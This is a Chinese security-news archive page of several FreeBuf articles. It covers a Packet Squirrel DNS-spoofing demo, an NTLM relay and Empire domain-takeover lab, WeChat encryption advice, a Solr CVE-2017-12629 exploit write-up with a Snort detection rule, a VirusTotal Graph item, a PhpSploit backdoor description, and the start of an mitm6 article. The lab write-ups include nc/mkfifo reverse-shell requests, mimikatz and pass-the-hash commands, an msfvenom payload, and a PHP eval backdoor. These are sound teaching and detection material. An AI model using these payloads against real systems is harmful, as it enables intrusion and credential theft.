分类目录归档:Hack

硬件黑客工具Packet Squirrel之初识篇

*本文原创作者:ghostsnow,本文属FreeBuf原创奖励计划,未经许可禁止转载

大家好,继上次介绍过无线安全测试工具Wifipineapple(国产版)后,很多朋友后台私信、邮件我咨询设备在哪买的以及如何深入折腾的问题。该设备在某宝中只要搜索全名,第一个店就是啦。其老板是一位专门搞硬件方面的高手,支持定制化硬件开发等,为避免广告嫌疑,这里不多说。

有兴趣的朋友自己去找一下,或者可以私信我。

  硬件黑客工具Packet Squirrel之初识篇

(国产版Packet Squirrel)

Packet Squirrel(松鼠)是由国外Hak5推出的一款用来截获数据包实施攻击的小型硬件设备(约为一张银行卡大小),默认具有远程访问、数据包监听、DNS欺骗等功能。

关于国产版Packet Squirrel硬件规格:

高通SOC、64MB DDR2 RAM、16MB Flash

外部接口:

2个RJ45接口(Ethernet LAN/WAN)

1个USB2.0接口(用来插入U盘做存储)

1个RESET按钮(可用来停止tcpdump)

1个USB Power(USB电源接口,5V 150mAh)

1个RGB LED指示灯

(USB2.0接口支持NTFS、EXT4格式的U盘,并不支持FAT32,亲测完美支持NTFS格式的三星64GB U盘可正常使用)

如何使用:

首次使用Packet Squirrel时,将U 盘插在 USB 口上,给Packet Squirrel通电。注意看灯的变化,首先绿灯会闪,系统启动后,蓝灯会慢闪。网线连接完成后,先测试一下网络连接。cmd 下 ping 172.16.32.1,看是否能 ping 通。如果 ping通,说明网络连接正常,如果没有 ping 通,就需要检查网络连接。

电脑的有线网络是否设置成了静态 ip,如果是,需要改成自动获取 ip,松鼠会自动为电脑分配  ip。Windows 下 ssh 连接需要  ssh 客户端,常见的有 putty、xshell等。另外Packet Squirrel只提供了命令行界面,并没有web图形化界面。

Linux 系统可直接使用命令:ssh root@172.16.32.1, username:root    password:hak5squirrel

在Packet Squirrel工作期间,通过一个LED指示灯来表示当前设备工作状态:

硬件黑客工具Packet Squirrel之初识篇

国产版payloads的切换是通过读取U盘中switch文件来取代国外Hak5的Switch硬件开关(可能出于节约成本及开发难度等原因)。

关于Payloads:

设备出厂时内部预设了三个payloads(tcpdump、dns spoof、openVPN),payloads以插件形式支持自定义开发或通过官方推出的payload进行功能扩展。

Payloads的启用方式采取通过读取U盘中switch文件内容来表明(即1、2、3…)

硬件黑客工具Packet Squirrel之初识篇

一、tcpdump

在首次SSH登陆后,默认为Arming Mode模式,可通过:echo 1 > /mnt/switch 来控制payloads的启用,也可直接编辑U盘中switch文件内容,例如“1”为启用tcpdump功能、“2”为启用DNS Spoof功能等。

硬件黑客工具Packet Squirrel之初识篇

当U盘中switch文件内容为“1”时,将U盘插到Packet Squirrel上,连通电源待系统启动后,默认将所有数据包通过tcpdump保存到U盘根目录loot文件夹下。需要注意的是当准备结束抓包时,需要手动按下RESET键,LED指示灯红色闪烁表示文件写入完成。

通过wireshark可分析抓取在U盘中保存的数据包文件:

硬件黑客工具Packet Squirrel之初识篇

二、DNS Spoof

通过编辑U盘中switch文件的内容为“2”,表示启用DNS Spoof功能,此时Packet Squirrel会拦截网络中设备的DNS请求,并且返回预设的DNS信息,默认状态下会返回Packet Squirrel的IP地址给目标设备(Packet Squirrel内置了DNSmasq模块)。通过编辑/payloads/switch2/spoofhost文件内容,实现DNS重定向。

首先,登录到Packet Squirrel中编辑/payloads/switch2/spoofhost文件。 

  硬件黑客工具Packet Squirrel之初识篇

格式为“address=/域名(目标域名)/IP(重定向至IP)”

硬件黑客工具Packet Squirrel之初识篇         

编辑好后,将U盘中switch文件内容设置为2,代表启用switch2的payload功能,经过断电重启后,我们先在cmd下“ping www.freebuf.com”,看到

IP已经变为我们预先设置的重定向地址了(这里ping不通的原因是我重定向到这个IP的VPS本身已经禁ping)。

硬件黑客工具Packet Squirrel之初识篇

我们再通过nslookup看一下域名解析情况:

硬件黑客工具Packet Squirrel之初识篇

我们预先在重定向IP的VPS上跑一个nginx服务,默认为一个静态页面内容为“hello world”。

硬件黑客工具Packet Squirrel之初识篇

现在通过Packet Squirrel访问www.freebuf.com的结果就是我们重定向IP上的nginx服务。

硬件黑客工具Packet Squirrel之初识篇

可能一个简单的hello world显示不出什么威力,我们我们可以在重定向IP的VPS上仿制一个目标站点。

例如我们做成下面这样呢?

硬件黑客工具Packet Squirrel之初识篇

(这里仅出于演示目的,前面设置好的域名劫持没有改,实际应该改成类似于“mail.sina.com.cn”)
关于Packet Squirrel的内容就先给大家介绍到这里,还有OpenVPN等其他内容请等待更新。

*本文原创作者:ghostsnow,本文属FreeBuf原创奖励计划,未经许可禁止转载

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

本文将会用到的工具:

Responder

Empire

Deathstar

Ntlmrelayx.py (安装过程可以参考这里

操作系统

主机:Ubuntu 16.04,Kali Linux(最新版)

目标1:Windows Server 2008 R2(虚拟服务器)

目标2:Windows Server 2008 R2(域控制器)

当进行域渗透的时候,我们往往需要通过某种方式来获取NTLMv2的哈希。但我们不难发现,NTLMv2的哈希并不像普通的NTLM哈希可以被直接传递,因此如果你没有一个超级强大的字典,你将很难获取到正确的访问凭据。那么,真的就没有其它办法了吗?其实,我们还可以通过一种中继的方式来中继获取的用户名和哈希。此外,如果捕获的凭据具有访问Windows server共享权限的话,则还可能导致远程代码执行。

在正式开始之前,我需要说明一些情况。

  1. Deathstar的使用我会在Ubuntu上,因为截至本文发布Deathstar无法正常与当前版本的Kali一起工作,python requests不支持任何1.2的TLS版本。
  2. 其次,我们假定正在中继机器的SMB签名是禁用状态的。Deathstar需要Empire agent才能工作,它会自动化的为我们完成后续的所有操作(不需要NTLM中继)。
  3. 本文演示均在实验环境下进行,并非真实网络环境。该演示主要是模拟,可能发生的LLMNR欺骗并捕获域管理员凭据的情况。关于Deathstar & Crackmapexec能为我们做什么,需要你阅读更多相关的技术资料

现在让我们开始吧!

首先我在一个终端上启动Empire的RESTful API。

sudo python empire --rest --username empireadmin --password Password123

然后我在另一个终端启动Deathstar。

sudo ./DeathStar.py --listener-ip 192.168.232.133 -t 100

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

Listener IP将是任何Empire正在侦听的IP。-t 100表示我给它100个线程运行,所以速度更快。

接下来,我要从Empire生成powershell脚本。键入到Empire的listener模块

Listeners

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

通过以下命令创建payload

launcher powershell Deathstar

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

复制powershell脚本,一会儿你需要粘贴它。

接下来,我设置了ntlmrelayx.py(NTLMRelayx.py设置可以参考这里

sudo ntlmrelayx.py -t 192.168.232.100 -c 'powershell -noP -sta -w 1 -enc  [powershell code]’

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

ntlmrelayx.py也支持-tf开关的文件(例如target.txt),所以你可以同时放入多个目标。注意,powershell脚本必须在引号中,否则将不会运行。

接下来,编辑Responder库中的Responder.conf文件并关闭SMB和HTTP

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

最后启动Responder

sudo python Responder.py -I ens33 -r -d –v

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

一切设置无误后,最后你的屏幕看起来应该像这样

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

接下来,使用我的Windows机器,模拟域管理员输入一个共享,生成一个LLMNR请求。

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

毒化回应然后通过Responder发送

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

NTLMv2哈希凭据被中继

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

Empire agent打开

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

Deathstar开始自动化渗透过程

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

在该演示中,Deathstar花了大约5分钟的时间来找到域控制器,及活跃用户,然后在域控上生成了另一个Empire agent。

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

一个Empire agent正运行在DC上

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

最后一步是获取到一个shell。

有很多方法可以帮我们做到这一点

  1. 上传一个.exe格式的meterpreter payload,并通过shell命令执行
  2. 使用mimikatz获取服务器上的凭据,并使用crackmapexec传递散列打开meterpreter session
  3. 使用Empire的Invoke-Shellcode模块
  4. 更多

使用Mimikatz & Crackmapexec开启Meterpreter Shell

首先是与agent交互。始终使用SYSTEM权限的agent。虽然“god”是域管理员,SYSTEM仍是一个很高的用户权限。

interact [agent name]

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

然后启动mimikatz

mimikatz

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

大概一分钟后,你会看到大量打印信息。我们直接忽略这些内容按回车,并键入以下命令

creds

此时,你将会获取到一个排列整齐的表格数据

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

如你所看到的,我们获取到了域管理员的哈希和明文密码。这里,我们可以使用crackmapexec打开一个反向shell。

首先,我们设置下multi/handler

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

然后运行crackmapexec。 虽然我已经有了明文密码,但这里我为大家演示依然可以通过PTH攻击。

crackmapexec 192.168.232.100 -u god -H 7314885dc066c5fd98e6ae96832fa905 -M metinject -o LHOST=192.168.232.136 LPORT=4443

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

通过Empire上传一个Meterpreter Payload

首先,我们创建一个Meterpreter payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.136 LPORT=4443 -f exe > shell.exe

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

复制.exe到Empire目录

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

与Empire agent交互

interact [Agent name]

上传可执行的.exe

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

得到shell

渗透测试自动化:使用NTLM中继和Deathstar获取域管理员权限

除了以上介绍的两种方法之外,其实还有许多其他的方法。虽然以上提供的方法不是最隐蔽和最值得推荐的,但却是最简单和实用的。

更多关于Deathstar & Crackmapexec的实用指南,请通过以下链接了解:

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

*参考来源:hausec,FB小编 secist 编译,转载请注明来自FreeBuf.COM

微信偷看聊天记录?看完这篇你就不怕了

微信偷看聊天记录?

2018年伊始,吉利控股集团董事长李书福在珠海出席活动时吐槽微信称,“现在大家都非常的警觉,现在几乎这个人全都透明了,没有任何的隐私和信息的安全。你看我们的电话、微信,我心里在想,马化腾他肯定天天在看我们的微信,因为他都可以看的。”

微信偷看聊天记录?看完这篇你就不怕了

图片来源:艾媒网

一石激起千层浪,要知道微信已经成为了中国人的“生活必需品”之一,日常的交流遭到监控是不可想象的事。对此腾讯在1月2日的回应中表示:

1、微信不留存任何用户的聊天记录,聊天内容只存储在用户的手机、电脑等终端设备上;

2、微信不会将用户的任何聊天内容用于大数据分析;

3、因微信不存储、不分析用户聊天内容的技术模式,传言中所说“我们天天在看你的微信”纯属误解。

而在这周举行的微信Pro公开课上微信之父张小龙再次重申,微信不会查看用户的聊天记录。

微信偷看聊天记录?看完这篇你就不怕了

图片来源:新浪众测

“在设计这个产品最初的时候,Pony(腾讯董事会主席兼首席执行官马化腾)建议我说,从安全性角度,微信所有聊天记录都不保存是最好的。”张小龙称。

“很多用户质疑我们说,微信竟然连云端同步的能力也做不到。但我们想说,系统里面没有聊天记录才是最安全的。”张小龙说,“我们也没有其他侵犯用户隐私的行为,包括我们从来不会给用户发骚扰信息,这些年大家没有收到过系统群发的消息应该。”

微信没有端对端加密

然而,微信的解释还是受到了广泛的质疑。事实上,在主流的通讯软件中,微信的安全性是最差的之一。

从苹果系统上的 iMessage,广为人知的WhatsApp、再到俄罗斯的 Telegram、或斯诺登代言的 Signal、来自瑞士公司的Wire、还有Line、Kakao Talk、FB Messenger等,无一不默认使用端对端加密或提供端对端加密选项。

微信偷看聊天记录?看完这篇你就不怕了

《一天世界》博客:聊天软件安全图例 v1.2

端对端加密意味着聊天对象双方协商生成一个加密密钥,只有双方有能力解密,任何第三方,包括通讯服务器即使获取了聊天数据,也无法解密内容。

相反,使用SSL加密(根据微信“隐私服务协议”,微信采用了SSL加密技术保护信息安全)或者私有的加密协议,理论上服务器还是能够查看,无法保证用户聊天信息的安全性。

作为用户量最大的聊天软件之一,微信迟迟不推出加密功能令人匪夷所思。既然微信不看我们的聊天记录,也一定不在乎用户自己进行加密咯?

使用加密插件

要对聊天文本进行加密有两种思路,一种是使用加密Xposed插件,好处是这种方式能够直接修改微信应用中的内容,使得加密的过程更加简单流畅。

笔者试用了两款Xposed插件,第一款微X助手可以说广为人知,也是很多人安装Xposed框架后必装的软件之一。除了加密聊天,它还有各种其他功能。

在菜单中启用加密聊天后,在输入栏输入”#s”就可以进入加密信息模式,输入的消息会自动被加密,接收方如果安装了Xposed插件则会自动解密。在群聊中,如果指定@了群成员,其他群成员则无法解密。

微信偷看聊天记录?看完这篇你就不怕了 微信偷看聊天记录?看完这篇你就不怕了

左图为发送方,右图为接收方,第三条消息为关闭Xposed插件的效果

第二款插件名为ShadowChat,同样可以做到内嵌加密,优点是使用者可以自行导入配置和密钥,并且支持微信和QQ的加密。

微信偷看聊天记录?看完这篇你就不怕了 微信偷看聊天记录?看完这篇你就不怕了

设置菜单可以调整加密方式

然而这两种方法的缺点在于需要通信双方都使用Android手机,并且Xposed后安装相应插件,使用成本比较高。

第二种方法是使用加密键盘,虽然无法在界面中加密信息,但能够保证跨平台性。

微信偷看聊天记录?看完这篇你就不怕了

StealthTap Keyboard截图

常见的加密键盘有:Moment KeyboardStealthTap Keyboard 等。

除此之外,PGP应用也提供了文本的加密选项,只需要在输入完毕后全选文字,就会出现加密选项,选择相应的密钥就可以把明文转化为密文。

微信偷看聊天记录?看完这篇你就不怕了

OpenKeychain提供的加密功能

更安全的聊天软件

上述的这些加密插件有的缺少跨平台支持,有的在操作上略显复杂。显然,更管用更彻底的方法是迁移到更加安全的聊天软件。

前文提到,目前主流通讯软件大都提供端对端加密功能,但其中有些缺少跨平台性,比如iMessenge;有一些则因为网络问题不可用,比如WhatsApp。笔者在此推荐两款软件,简单介绍一下他们的加密功能。

Telegram

微信偷看聊天记录?看完这篇你就不怕了

Telegram加密过程

提到隐私就不得不提Telegram,在Telegram推出初期,就宣传自己的私密性,创始人Pavel Durov也反复强调隐私和加密对于Telegram的重要性。不过值得注意的是,Telegram默认的通信过程中,服务器可以解密聊天内容,要想真正使用端对端加密,必须开启秘密聊天模式。

Kakao Talk

Kakao Talk是一款韩国软件,界面与Line比较相像。之所以在此推荐是因为它在中国的服务相比上Telegram更加稳定可用,笔者实测Telegram有时无法连接,而Kakao Talk则能够保持可用的状态。要使用端对端加密也非常简单,只需要在聊天室中点击齿轮,选择进入私密聊天即可。

微信偷看聊天记录?看完这篇你就不怕了 微信偷看聊天记录?看完这篇你就不怕了

无论是使用加密插件,还是使用加密键盘都只是保护聊天隐私的权宜之计,最根本并且友善的解决方案是微信推出内建的加密模式。在各大主流软件都在尽力保障用户隐私的今天,微信能做的还有很多。 

参考来源

http://www.nbd.com.cn/articles/2018-01-02/1178353.html

http://tech.sina.com.cn/roll/2018-01-15/doc-ifyqptqv9833496.shtml

http://www.qdaily.com/articles/41231.html

* 本文作者:Philo Evius,转载注明来自FreeBuf.COM

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

*本文原创作者:cloud4986,本文属FreeBuf原创奖励计划,未经许可禁止转载

一 漏洞简介

Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。

漏洞影响版本:Apache Solr before 7.1 with Apache Lucene before 7.1,包括:

   RedhatSingle Sign-On 7.0

+ Redhat Linux 6.2 E sparc

+ Redhat Linux 6.2 E i386

+ Redhat Linux 6.2 E alpha

+ Redhat Linux 6.2 sparc

+ Redhat Linux 6.2 i386

+ Redhat Linux 6.2 alpha

Redhat JBoss Portal Platform 6

Redhat JBoss EAP 7 0

Redhat Jboss EAP 6

Redhat JBoss Data Grid 7.0.0

Redhat Enterprise Linux 6

+ Trustix Secure Enterprise Linux 2.0

+ Trustix Secure Linux 2.2

+ Trustix Secure Linux 2.1

+ Trustix Secure Linux 2.0

Redhat Collections for Red Hat EnterpriseLinux 0

Apache Solr 6.6.1

Apache Solr 6.6

Apache Solr 6.5.1

Apache Solr 6.5

Apache Solr 6.4

Apache Solr 6.3

Apache Solr 6.2

Apache Solr 6.6

Apache Solr 6.3

Apache Solr 6.0

ApacheLucene 0

威胁级别:高

二 漏洞利用

2.1. 环境介绍

Ubuntu14 64位环境(solr服务器:192.168.136.159;攻击端: 192.168.136.158/163)

Apache solr7.0.1(使用其他环境的需要手动创建集合的配置文件)

zookeeper-3.4.6

2.2. 实验环境搭建

2.2.1. 安装java8

sudo apt-get installpython-software-properties

sudo apt-get installsoftware-properties-common

sudo add-apt-repositoryppa:webupd8team/java

sudo apt-get update

sudo apt-get install oracle-java8-installer

2.2.2.  启动zookeeper

下载zookeeper-3.4.6.tar.gz

tar zxvf zookeeper-3.4.6.tar.gz

将zookeeper-3.4.6/conf目录下zoo_sample.cfg复制一份改名称为zoo.cfg,启动zookeeper: 

sudo bin/zkServer.sh start

2.2.3. 启动solr7.0.1

下载solr-7.0.1.zip

解压后得到solr-7.0.1目录

cd solr-7.0.1

启动solr: 

bin/solr start -z localhost:2181

启动后如下:

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

2.3. 漏洞利用

2.3.1.  先创建一个集合

http://solrIP:8983/solr/admin/collections?action=CREATE&name=Hunter&numShards=2&maxShardsPerNode=2

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

2.3.2. 攻击端启动监听

nc –l –p 4444 –vv

2.3.3.   直接通过solr.RunExecutableListener执行命令

这个利用方法是网上公开的漏洞利用过程,但实际实验中反弹shell未出现。其过程为:

1)  增加一个监听器

POST/solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type:application/json  

Content-Length:313

{

    "create-listener": {

        "event":"postCommit",

        "name": "shell",

        "class":"solr.RunExecutableListener",

        "exe": "sh",

        "dir": "/bin/",

        "args": ["-c","rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.136.1584444 > /tmp/f"]

    }

}

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

2) 刷新配置触发前面监听器执行命令

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

攻击端响应状况:

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

被攻击端查看端口:

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

说明服务器端已经反向连接到攻击端了,但是攻击端没有出现shell。直接执行:

sh –c “rm -f/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.136.1584444 > /tmp/f”命令时可正常连接,并且攻击端出现shell。此时被攻击端会弹出一个终端窗口。因此怀疑 “需要开启一个终端,并在里面执行反向连接到攻击端的命令”。

 2.3.4.  通过solr.RunExecutableListener 创建shell文件执行命令

针对网上漏洞利用方法出现的问题及分析,提出了一种创建shell文件,用shell文件开启终端窗口,并在终端窗口执行反弹 shell的漏洞利用思路。其过程为:

1)  创建一个用于反向连接攻击端的脚本

POST /solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type: application/json 

Content-Length: 224

 

{

   "update-listener": {

       "event": "postCommit",

       "name": "shell",

       "class": "solr.RunExecutableListener",

       "exe": "sh",

       "dir": "/bin/",

       "args": ["-c", "touch /tmp/test.sh;echo 'rm -f/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.136.1584444 > /tmp/f '>

tmp/test.sh"]

    }

}

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

执行更新配置,触发前面监听器执行创建文件的命令

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

等一会后,被攻击的solr服务器/tmp目录会出现test.sh

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

test.sh内容:

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

2) 创建一个remote.sh文件

文件打开一个终端,并执行/tmp/test.sh文件

POST /solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type: application/json 

Content-Length: 224

 

{

   "update-listener": {

       "event": "postCommit",

       "name": "shell",

       "class": "solr.RunExecutableListener",

       "exe": "sh",

       "dir": "/bin/",

       "args": ["-c", "touch /tmp/remote.sh;echo'gnome-terminal -t /"remote shell/" -x bash -c /"sh/tmp/test.sh;exec bash;/"'> /tmp/remote.sh"]

    }

}

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

执行配置更新,触发创建remote.sh的命令

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

目标服务器/tmp目录出现的remote.sh文件内容

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

3)  执行remote.sh进行 RCE漏洞利用

POST /solr/Hunter/config HTTP/1.1

Host: 192.168.136.159:8983

Connection: close

Content-Type: application/json 

Content-Length: 226

  

{

   "update-listener": {

       "event": "postCommit",

       "name": "shell",

       "class": "solr.RunExecutableListener",

       "exe": "sh",

       "dir": "/bin/",

       "args": ["/tmp/remote.sh"]

    }
}

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测 

执行配置更新,触发remote.sh执行

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

此时被攻击端出现shell终端窗口

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

攻击端出现反弹shell

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测

2.3.5. 漏洞攻击主要特征

1)       端口:8983, http

2)       路径是:/config HTTP/1.1

3)       载荷中必要特征是:

Content:update-listener或create-listener

Content:”event”: “postCommit”(备选)

Content: “class”:”solr.RunExecutableListener” 

三 入侵检测规则编写

根据2.3.5的特征分析编写规则

alert tcp$EXTERNAL_NET any -> $HTTP_SERVERS 8983 (msg:"Apache Solr RCE exploitattempt"; content:"/config"; distance:0; nocase;pcre:"/(update|create)-listener/i"; distance:0; nocase;content:"solr.RunExecutableListener"; distance:0; nocase;reference:url,https://www.exploit-db.com/exploits/43009/,CVE-2017-12629;classtype:web-application-attack; sid:2018000002; rev:1;)

 3.1. 入侵检测效果验证

使用前面漏洞利用中wirshark截取的数据包进行回放,使用snort加载检测规则检测。

Apache Solr远程代码执行漏洞(CVE-2017-12629)从利用到入侵检测 

*本文原创作者:cloud4986,本文属FreeBuf原创奖励计划,未经许可禁止转载

VirusTotal Graph增加新特性,查看各文件的相关性将更加容易

就在前几天,VirusTotal发布了一个名叫Graph的新功能,该功能允许用户以可视化的方式查看自己所提交文件之间的相关性。在这款工具的帮助下,用户可以轻松地查看到文件所连接到的主机信息,以及文件之间的相关性等等。更重要的是,这个新工具不仅会提供给VirusTotal的高级智能平台用户,而且所有VirusTotal的用户都可以它。

VirusTotal Graph增加新特性,查看各文件的相关性将更加容易

工具介绍

这款可视化工具基于VirusTotal的数据集实现,它可以查看到文件、URL地址、域名以及IP地址之间的关系,并且提供了非常方便的数据导航接口。

通过查看图表中的每一个节点,用户可以构建出一个数据网络来查看每一个样本之间的相关性。点击图中的节点后,你不仅可以看到每一个节点的所有相关文件或其他节点信息,你还可以添加标签或查看VirusTotal Public或VirusTotal Intelligence的深度分析报告。

用户可以直接访问地址https://www.virustotal.com/graph/并提交已知哈希或进入分析页面提交特定服务来使用VirusTotal Graph功能。在分析页面中的下拉菜单中,有一个名叫“Openin VirusTotal Graph”的新选项,点击了这个按钮之后你将进入到Graph页面。

VirusTotal Graph增加新特性,查看各文件的相关性将更加容易

进入Graph页面后,你可以看到一个名叫“Root Node”的条目,点击之后你可以查看到各种箭头以及与样本文件相关联的信息。接下来,我们一起看一看一份恶意软件样本的文件相关性(Graph)。

下图中包含了Root Node以及两个与样本相关的URL地址。

VirusTotal Graph增加新特性,查看各文件的相关性将更加容易

接下来,你可以双击每个节点来了解特定数据对象的详细信息。双击之后,工具会展开显示对象的相关性数据:

VirusTotal Graph增加新特性,查看各文件的相关性将更加容易

除此之外,你还可以双击下载下来的文件来寻找出特定文件的相关性信息,这样一来,你就可以更加深入了解样本文件,并查看到所有的相关数据、文件、域名和URL地址等信息。

标记对象并保存自定义Graph

除了查看文件的基本Graph图之外,我们还可以自定义Graph。比如说,如果你想分析一个特定的恶意文件样本,然后在研究的过程中给各种对象添加标签,你就可以使用VirusTotal Graph提供的对象标记功能了。

你可以右键点击一个对象然后添加标签,如下图所示,我们给一个特定文件对象添加了“Adware Downloader”标签。

VirusTotal Graph增加新特性,查看各文件的相关性将更加容易

接下来,你可以点击保存按钮,然后将其保存为一个新的Graph。保存成功之后,你将得到一个用于访问这个Graph的链接,你还可以将其共享给他人。

VirusTotal Graph增加新特性,查看各文件的相关性将更加容易

虽然新手用户可能需要花一点时间来熟悉VirusTotal Graph的使用,但当你熟悉该工具之后,你就会发现它是一款非常实用的恶意软件分析工具了。

为了更好地帮助大家了解该工具的使用,VirusTotal还提供了两个使用演示视频,感兴趣的同学可以点击观看。

演示视频

VirusTotalGraph 文件与 VirusTotal域名文件

看不到,点这里

* 参考来源:bleepingcomputer,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

PhpSploit:一款隐蔽性极强的后渗透利用框架

PhpSploit:一款隐蔽性极强的后渗透利用框架

今天给大家介绍的是一款名叫PhpSploit的远程控制框架,该工具可以帮助攻击者在客户端与Web服务器端之间建立隐蔽性极强的交互式链接(类似Shell)。简而言之,这是一款后渗透利用工具,它能够让攻击者与目标主机(例如被入侵的Web服务器)维持访问链接,并实现提权操作。

PhpSploit:一款隐蔽性极强的后渗透利用框架

概述

该工具会对标准客户端请求以及Web服务器相关请求的HTTP头数据进行混淆处理,并利用一个小型的多态后门来实现隐蔽通信:

<? @eval($_SERVER['HTTP_PHPSPL01T']) ?>

功能介绍

效率高:

1.   提供了超过20款自动化后渗透利用工具;

2.   运行命令、浏览文件系统、绕过PHP安全限制;

3.   在目标客户端与攻击者端之间实现文件的上传和下载;

4.   通过本地文本编辑器编辑远程文件;

5.   在目标系统中运行SQL语句;

6.   生成反向TCP Shell;

隐蔽性强:

1.   专为偏执狂设计;

2.   日志分析以及NIDS签名检测机制几乎无法检测到它;

3.   绕过安全模式以及常见PHP安全限制;

4.   通信信息隐藏在HTTP头中;

5.   加载的Payload经过了混淆处理以绕过NIDS;

6.   支持http/https/socks4/socks5代理;

使用便捷:

1.   跨平台;

2.   强大的界面,完整的命令支持;

3.   提供了会话保存/加载功能;

4.   支持大型Payload,支持多重请求;

5.   提供了强大的、高度可配置的设置引擎;

6.   每一个设置(例如用户代理)都有多态模式;

7.   提供了完整的插件开发API;

支持的平台(攻击者端)

1.   GNU/Linux

2.   MacOS X

支持的平台(目标用户端)

1.   GNU/Linux

2.   BSDLike

3.   MacOS X

4.   WindowsNT

工具下载

GitHub传送门

* 参考来源:n0where,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

MITM6:用IPv6攻陷IPv4网络的工具

随着IPv6概念的提出,互联网上针对IPv6协议的使用也日渐增多,但即便如此IPv6在公司内部却并不受欢迎,很少会有公司使用IPv6。然而,大多数公司可能都忽略了一个问题,虽然IPv6可能没有被我们主动启用,但自Windows Vista以来的所有Windows版本(包括服务器版本)都默认启用了IPv6,并且优先级高于IPv4。

在本篇博文中,我将为大家介绍一种针对IPv6的攻击:即利用Windows网络中的默认IPv6配置,伪装DNS服务器来欺骗DNS reply,并将流量重定向到攻击者指定的端点。接着,我还会为大家提供一种新的利用(臭名昭着的)Windows代理自动发现(WPAD)功能,来传递凭证并对网络中的各种服务进行身份验证的 方法。Fox-IT在GitHub上创建了该工具并命名为mitm6,大家可以在这里下载到。

IPv6攻击

与IPv6的发展速度缓慢一样,网上关于针对IPv6渗透测试的资料也少的可怜。尽管市面上有不少相关书籍也都或多或少的提到了诸如ARP欺骗之类的东西,但却很少涉及IPv6,而可用于测试或利用IPv6配置的工具则更稀缺。这里我要提及的一款工具是THC IPV6攻击套件,这也是mitm6灵感的来源。本文中描述的攻击是SLAAC攻击其中的一个版本,最早是由Infosec研究所的Alex Waters在2011年提出的。SLAAC攻击通过建立一个流氓IPv6路由器,并设置各种服务对网络中的所有流量实施中间人攻击。之后,Neohapsis为这种攻击开发了一个自动化工具名为suddensix

对于SLAAC攻击也有其弊端,由于SLAAC攻击会尝试在现有的IPv4网络为当前所有设备创建一个覆盖网络。而在这渗透测试中并不是一个理想的情况,因为这么做会导致网络稳定性受到明显的影响。此外,攻击者还需借助相当多外部的软件包和服务才能正常执行攻击操作。mitm6专注于更快更好的解决方案,测试人员可以根据需求选择攻击主机和欺骗DNS reply,同时能最大限度的减少对网络正常运行带来的影响。而且mitm6使用起来也非常简单,几乎不需要进行配置,并可在几秒内执行攻击。当攻击任务完成后,则会根据工具中默认设置的超时时间,在较短时间内将网络恢复到之前的状态。

mitm6攻击

攻击阶段1 – 主DNS接管

首先让mitm6开始在攻击者机器的主接口上侦听,并通过DHCPv6向 Windows客户端请求IPv6配置。默认情况下,自Windows Vista之后,每台Windows计算机都会定期向该配置发起请求。我们可以通过Wireshark抓包来进行查看:

MITM6:用IPv6攻陷IPv4网络的工具

